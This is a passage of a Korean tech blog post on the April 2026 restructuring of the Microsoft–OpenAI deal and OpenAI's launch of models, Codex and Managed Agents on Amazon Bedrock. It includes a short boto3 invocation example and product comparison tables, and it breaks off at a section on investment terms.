&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2040&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lKpnH/dJMcaaSJLye/6iZL4t9jMfj4ExD5jJglP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lKpnH/dJMcaaSJLye/6iZL4t9jMfj4ExD5jJglP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lKpnH/dJMcaaSJLye/6iZL4t9jMfj4ExD5jJglP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlKpnH%2FdJMcaaSJLye%2F6iZL4t9jMfj4ExD5jJglP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2040&quot; height=&quot;1106&quot; data-origin-width=&quot;2040&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 4월 27일, Microsoft와 OpenAI는 파트너십 계약을 대대적으로 재편했다. 핵심은 하나다: &lt;b&gt;Microsoft의 독점이 끝났다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 계약에서 Microsoft는 OpenAI의 모든 제품과 지적재산에 독점 접근권을 가졌다. 재편 후 Microsoft는 2032년까지 &lt;b&gt;비독점 라이선스&lt;/b&gt;를 유지하되, 더 이상 OpenAI가 다른 클라우드 업체와 협력하는 것을 막을 수 없다. (출처: &lt;a href=&quot;https://www.axios.com/2026/04/28/openai-microsoft-cloud-amazon&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Axios&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;Microsoft-OpenAI 새 계약 핵심 변경 사항&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Microsoft 독점 &amp;rarr; 비독점 IP 라이선스&lt;/b&gt; (2032년까지 유지)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Microsoft가 OpenAI에 지급하던 &lt;b&gt;수익 배분 폐지&lt;/b&gt; (출처: &lt;a href=&quot;https://www.cnbc.com/2026/04/28/openai-brings-models-to-aws-after-ending-exclusivity-with-microsoft.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNBC&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;OpenAI는 Microsoft에 수익 배분 지속, 단 &lt;b&gt;상한선 추가&lt;/b&gt; (2030년까지)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;OpenAI가 AWS&amp;middot;Google 등 어느 클라우드에서도 제품 판매 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재편 합의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발표 다음 날인 4월 28일, OpenAI는 즉시 AWS와의 확장 파트너십을 공식 발표했다. GeekWire가 &quot;GPT-5.5가 Azure 독점을 멈춘 지 하루 만에 AWS에 상륙했다&quot;고 표현한 것은 이 타이밍의 상징성을 잘 요약한다. (출처: &lt;a href=&quot;https://www.geekwire.com/2026/openais-models-land-on-amazon-bedrock-one-day-after-microsoft-exclusivity-ends/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekWire&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 변화가 의미하는 바는 단순히 &quot;AWS에서도 GPT를 쓸 수 있게 됐다&quot;가 아니다. OpenAI의 모델&amp;middot;제품&amp;middot;플랫폼이 이제 멀티클라우드 전략의 중심축이 된다는 것이다. AWS 워크로드를 이미 운영 중인 수만 개 기업이 별도 OpenAI 계정이나 Azure 마이그레이션 없이 GPT-5.5를 호출할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. AWS에서 쓸 수 있는 세 가지 새 제품&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;!-- [S:https://openai.com/index/openai-on-aws/] [S:https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-openai-models-codex-managed-agents/] --&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3JUSj/dJMcaakSg8I/ZpVo2BsYVfb3iCAq9lxYKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3JUSj/dJMcaakSg8I/ZpVo2BsYVfb3iCAq9lxYKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3JUSj/dJMcaakSg8I/ZpVo2BsYVfb3iCAq9lxYKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3JUSj%2FdJMcaakSg8I%2FZpVo2BsYVfb3iCAq9lxYKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1108&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;이번 발표는 세 개의 별도 제품으로 구성된다. 단순히 모델 API를 얹은 수준이 아니라, OpenAI의 프로덕션 제품 라인 전체가 AWS 생태계 안으로 들어왔다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;제품&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;핵심 기능&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;대상&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;OpenAI Models on Bedrock&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;GPT-5.5, GPT-5.4 등 프론티어 모델 호출&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;AI 앱 개발자, 에이전틱 워크플로우 팀&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Limited Preview&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Codex on AWS&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;코딩 에이전트: 코드 작성&amp;middot;리팩터&amp;middot;테스트&amp;middot;설명&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;개발자 팀, DevOps&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Limited Preview&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Bedrock Managed Agents&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;멀티스텝 워크플로우, 툴 사용, 장기 작업 실행&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;엔터프라이즈, 비즈니스 자동화 팀&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Limited Preview&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;(2026-04-28 기준, 출처: &lt;a href=&quot;https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-openai-models-codex-managed-agents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AWS What's New&lt;/a&gt;)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: 모델 API는 기초 인프라이고, Codex는 개발자용 에이전트, Managed Agents는 엔터프라이즈 자동화 레이어다. 세 제품이 함께 AWS 환경에서 OpenAI의 전체 스택을 완성한다.&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. OpenAI Models on Bedrock &amp;mdash; GPT-5.5의 AWS 상륙&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;!-- [S:https://openai.com/index/openai-on-aws/] --&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bE4QZZ/dJMcafGvrhy/JB1qlFMyY5hkvJ3JLfzPyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bE4QZZ/dJMcafGvrhy/JB1qlFMyY5hkvJ3JLfzPyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bE4QZZ/dJMcafGvrhy/JB1qlFMyY5hkvJ3JLfzPyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbE4QZZ%2FdJMcafGvrhy%2FJB1qlFMyY5hkvJ3JLfzPyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2014&quot; height=&quot;1110&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Amazon Bedrock에 올라온 OpenAI 모델 라인업의 핵심은 &lt;b&gt;GPT-5.5&lt;/b&gt;다. OpenAI의 현재 최상위 프론티어 모델로, 이전까지는 Azure를 통해서만 기업 환경에서 접근할 수 있었다. GPT-5.4도 함께 제공된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;AWS에서 OpenAI 모델 호출 시 달라지는 점&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;단일 벤더 관계&lt;/b&gt;: 별도 OpenAI 계정&amp;middot;청구 없이 AWS IAM 크레덴셜로 호출&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;컴플라이언스 통합&lt;/b&gt;: AWS의 기존 보안 제어, 암호화, 감사 로그(CloudTrail)를 그대로 적용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;클라우드 약정 적용&lt;/b&gt;: OpenAI 모델 사용량을 AWS 클라우드 약정(EDP)에 포함 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Bedrock 에코시스템 연동&lt;/b&gt;: 기존 Bedrock 도구&amp;middot;파이프라인과 동일 방식으로 통합&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 통합이 해결하는 실질적인 문제는 &lt;b&gt;벤더 분리(vendor fragmentation)&lt;/b&gt;다. 지금까지 AWS 메인 스택에 OpenAI 모델을 붙이려면 별도 API 키 관리, 별도 보안 검토, 별도 청구 프로세스가 필요했다. 특히 대기업 엔터프라이즈에서 이 프로세스는 몇 주에서 몇 달이 걸리는 승인 절차를 수반한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 IAM 정책 하나로 GPT-5.5를 기존 AWS 워크플로우에 붙일 수 있다. 금융&amp;middot;의료 등 규제 산업에서 이 차이는 단순한 편의가 아니라 도입 가능 여부 자체를 가른다.&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 20px 0;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;import boto3

# AWS 크레덴셜로 OpenAI GPT-5.5 호출 (Bedrock 통해)
bedrock = boto3.client(&quot;bedrock-runtime&quot;, region_name=&quot;us-east-1&quot;)

response = bedrock.invoke_model(
    modelId=&quot;openai.gpt-5.5&quot;,   # Bedrock 모델 ID (Limited Preview 기준 예시)
    body={
        &quot;messages&quot;: [{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;안녕하세요&quot;}],
        &quot;max_tokens&quot;: 1024
    }
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 20px 0;&quot;&gt;위 코드의 modelId는 Limited Preview 단계의 예시 형식이다. 실제 GA 출시 시 모델 ID가 변경될 수 있다. 공식 Bedrock 콘솔에서 확인 후 사용한다.&lt;/div&gt;
&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Codex on AWS &amp;mdash; 4백만 사용자의 코딩 에이전트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;!-- [S:https://openai.com/index/openai-on-aws/] --&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5WboQ/dJMcaiJWhFi/Pp5eKVKSDKVZTlTE0udVR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5WboQ/dJMcaiJWhFi/Pp5eKVKSDKVZTlTE0udVR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5WboQ/dJMcaiJWhFi/Pp5eKVKSDKVZTlTE0udVR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5WboQ%2FdJMcaiJWhFi%2FPp5eKVKSDKVZTlTE0udVR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1984&quot; height=&quot;1080&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 OpenAI의 코딩 에이전트 제품이다. 이제 Amazon Bedrock을 통해 기업 환경에서도 접근할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex가 실제로 하는 것&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI 공식 발표 기준 Codex의 주요 기능 전체 목록 (출처: &lt;a href=&quot;https://openai.com/index/openai-on-aws/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI on AWS&lt;/a&gt;):&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 20px 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;코드 작성&lt;/b&gt;: 요구사항을 받아 신규 코드 생성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시스템 설명&lt;/b&gt;: 기존 코드베이스의 구조와 로직을 자연어로 설명&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리팩터링&lt;/b&gt;: 코드 품질 개선, 패턴 현대화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;테스트 생성&lt;/b&gt;: 단위 테스트&amp;middot;통합 테스트 자동 작성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;레거시 현대화&lt;/b&gt;: 오래된 코드베이스를 현재 기술 스택으로 마이그레이션&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리서치 및 분석&lt;/b&gt;: 코드 외 문서 작업, 데이터 분석 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;접근 방법 4가지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex on AWS는 다음 방식으로 접근할 수 있다 (출처: &lt;a href=&quot;https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-openai-models-codex-managed-agents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AWS What's New&lt;/a&gt;):&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;접근 방법&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;대상&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;Bedrock API&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;프로그래매틱 호출, 기존 앱 통합&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;백엔드 개발자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;Codex CLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;터미널에서 AWS 크레덴셜로 직접 사용&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;DevOps, 파워유저&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;데스크톱 앱&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Codex 데스크톱 앱을 Bedrock 백엔드로 연결&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;개인 개발자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;VS Code 확장&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;IDE 안에서 AWS 인증으로 Codex 사용&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;IDE 중심 개발자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;(2026-04-28 기준)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기업 관점에서 Codex on AWS의 핵심 가치는 &lt;b&gt;보안 검토 단순화&lt;/b&gt;다. 기존에는 개별 개발자가 Codex를 쓰려면 OpenAI 계정을 별도로 만들고, 보안팀의 외부 서비스 승인을 받아야 했다. Bedrock을 통하면 회사가 이미 승인한 AWS 인프라 안에서 동일한 기능을 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Bedrock Managed Agents &amp;mdash; 프로덕션 에이전트 인프라&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;!-- [S:https://openai.com/index/openai-on-aws/] [S:https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-openai-models-codex-managed-agents/] --&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7lTXX/dJMcafmcF9t/RMKxM024eV30NERhH1GWMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7lTXX/dJMcafmcF9t/RMKxM024eV30NERhH1GWMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7lTXX/dJMcafmcF9t/RMKxM024eV30NERhH1GWMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7lTXX%2FdJMcafmcF9t%2FRMKxM024eV30NERhH1GWMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2014&quot; height=&quot;1112&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Bedrock Managed Agents는 이번 발표에서 가장 새로운 제품이다. OpenAI 모델을 백엔드로 삼아 멀티스텝 워크플로우를 실행하는 에이전트 인프라로, 팀이 &quot;에이전트를 유용하게 만드는 것&quot;에만 집중하고 주변 인프라 조립은 플랫폼이 처리한다는 것이 핵심 가치 제안이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주요 기능&lt;/h3&gt;
&lt;ul style=&quot;margin: 10px 0 20px 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;멀티스텝 워크플로우 실행&lt;/b&gt;: 컨텍스트를 유지하며 여러 단계의 작업 수행&lt;/li&gt;
&lt;li&gt;&lt;b&gt;툴 통합&lt;/b&gt;: 외부 API, 데이터베이스, AWS 서비스 호출 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;장기 작업 처리&lt;/b&gt;: 빠른 실행, 정확한 추론, 장기 작업의 안정적 조향&lt;/li&gt;
&lt;li&gt;&lt;b&gt;개별 에이전트 ID&lt;/b&gt;: 각 에이전트가 고유 ID와 액션 로그를 보유&lt;/li&gt;
&lt;li&gt;&lt;b&gt;내장 거버넌스&lt;/b&gt;: IAM, 암호화, CloudTrail이 기본 포함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Amazon Bedrock AgentCore 연동&lt;/b&gt;: 기본 컴퓨팅 환경으로 AgentCore 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #28a745; margin: 20px 0;&quot;&gt;&lt;b&gt;Managed Agents가 기존 접근과 다른 점&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;기존에 AI 에이전트를 프로덕션에 올리려면 오케스트레이션 레이어, 툴 호출 처리, 상태 관리, 모니터링, 보안 제어를 개발팀이 직접 조립해야 했다. Bedrock Managed Agents는 이 전체를 관리형 서비스로 제공한다. 프로토타입에서 프로덕션까지의 시간을 단축하는 것이 목표다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS의 공식 표현은 &quot;빠른 배포, 툴 사용, 오케스트레이션, 거버넌스를 처리한다&quot;이다. (출처: &lt;a href=&quot;https://openai.com/index/openai-on-aws/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 발표&lt;/a&gt;) 이 일련의 움직임이 보여주는 것은 OpenAI가 단순한 API 공급자를 넘어 엔터프라이즈 운영 플랫폼 레이어로 진입하려 한다는 것이다.&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 투자&amp;middot;딜 구조 &amp;mdash; 50억 달러 투자와 1,000억 달러 확장&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;!-- [S:https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/] --&gt; 이번 파트너십의 재정 규모는 OpenAI 역사상 단일 파트너와의 계약 중 가장 크다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;항목&lt;/th&gt;
